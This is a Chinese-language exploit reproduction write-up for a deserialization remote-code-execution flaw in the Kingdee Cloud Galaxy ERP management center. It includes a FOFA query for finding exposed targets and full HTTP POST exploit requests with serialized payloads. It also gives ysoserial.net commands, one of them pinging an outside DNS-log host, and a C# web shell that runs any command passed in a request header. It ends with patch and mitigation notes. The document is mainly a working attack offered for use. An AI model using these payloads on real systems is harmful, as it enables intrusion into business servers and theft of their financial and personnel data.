文章目录
- 金蝶云星空管理中心反序列化RCE漏洞复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响范围
- 0x04 漏洞环境
- 0x05 漏洞复现
- 1.访问漏洞环境
- 2.构造POC
- 3.复现
- 4.进行ipconfig命令测试
- 0x06修复建议
金蝶云星空管理中心反序列化RCE漏洞复现
0x01 前言
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
0x02 漏洞描述
金蝶云星空是一款云端企业资源管理(ERP)软件,为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织,多利润中心的大中型企业,以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖:财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务,帮助企业实现数字化营销新生态及管理重构等,提升企业数字化能力。
金蝶云星空存在远程代码执行漏洞,由于金蝶云星空数据通信默认采用的是二进制数据格式,需要进行序列化与反序列化,在此过程中未对数据进行签名或校验,导致客户端发出的数据可被攻击者恶意篡改,写入包含恶意代码的序列化数据,达到在服务端远程命令执行的效果。
0x03 影响范围
6.x <= 6.2.1012.4 7.0.352.16 <= 金蝶云星空 7.x <= 7.7.0.202111 8.0.0.202205 <= 金蝶云星空 8.x <= 8.1.0.20221110
0x04 漏洞环境
fofa:app=“金蝶云星空-管理中心”
0x05 漏洞复现
1.访问漏洞环境
2.构造POC
POC (POST)
POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1Host: ip:portUser-Agent: Go-http-client/1.1Content-Length: 15224Content-Type: text/jsonAccept-Encoding: gzip{"ap0":"AAEAAAD/AQAAAAAAAAAEAQAAABxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlU2V0AgAAAAVUYWJsZRVfY2FzZUluc2Vuc2l0aXZlVGFibG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ZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAAMIDVN5c3RlbS5UeXBlW10JFAAAAAkSAAAACRMAAAAGGQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQ8AAAAOAAAABhoAAAAHQ29tcGFyZQkRAAAABhwAAAANU3lzdGVtLlN0cmluZwYdAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEVAAAADQAAAAYeAAAALVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsbXNjb3JsaWJdXQkRAAAACgkRAAAACRwAAAAJGgAAAAoL","format":"3"}
本次漏洞复现需要借助ysoserial.net工具构造恶意序列化数据实现RCE。
工具下载地址:https://download.csdn.net/download/weixin_48539059/88326635?spm=1001.2014.3001.5503
ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping zfbodpzflb.dgrh3.cn"
3.复现
dnslog测试,将上述ap0中替换为ysoserial.exe中生成的内容
发现有回显!!!
4.进行ipconfig命令测试
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll
命令中 -f 指定的是.net程序中的序列化类,-g 是ysoserial.net工具中的攻击链, 这里指定的是ActivitySurrogateSelectorFromFile链,这个攻击链可加载自定义的程序集。-c 是构造的程序集(ExploitClass.cs),后面的dll文件是.NET Framework中的一个核心DLL文件,包含了一些相关的类和方法(自行加载,不需要构造)
这里需要文件ExploitClass.cs,内容如下。
class E{public E(){System.Web.HttpContext context = System.Web.HttpContext.Current;context.Server.ClearError();context.Response.Clear();try{System.Diagnostics.Process process = new System.Diagnostics.Process();process.StartInfo.FileName = "cmd.exe";string cmd = context.Request.Headers["cmd"];process.StartInfo.Arguments = "/c " + cmd;process.StartInfo.RedirectStandardOutput = true;process.StartInfo.RedirectStandardError = true;process.StartInfo.UseShellExecute = false;process.Start();string output = process.StandardOutput.ReadToEnd();context.Response.Write(output);} catch (System.Exception) {}context.Response.Flush();context.Response.End();}}
构建POC进行命令测试
POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1Host: ip:portUser-Agent: Go-http-client/1.1Content-Length: 15224Content-Type: text/jsoncmd: ipconfigAccept-Encoding: gzip{"ap0": "AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzN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bnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=","format":"3"}
发现命令成功执行,可以把头部的ipconfig 换成你想执行的命令!
0x06修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1
https://blog.csdn.net/qq_41904294/article/details/131332436
缓解方案
对于低于PT123230 [6.2.1012.4]版本的金蝶云星空:请禁止把金蝶云星空管理中心发布到公网访问,并使用防火墙设置能访问管理中心的IP白名单。如有需要发布到外网,或内网需要访问管理中心,可设置白名单进行控制。
8.x版本可通过手动添加安全配置并重启IIS的方式进行缓解,注意管理中心与普通应用
配置文件均需添加:#普通应用配置:{WebROOT}\Kingdee\K3Cloud\WebSite\App_Data\Common.config#管理中心配置:{WebROOT}\Kingdee\K3Cloud\Services\ManagementService\App_Data\Common.configEnabledKDSVCBinary = false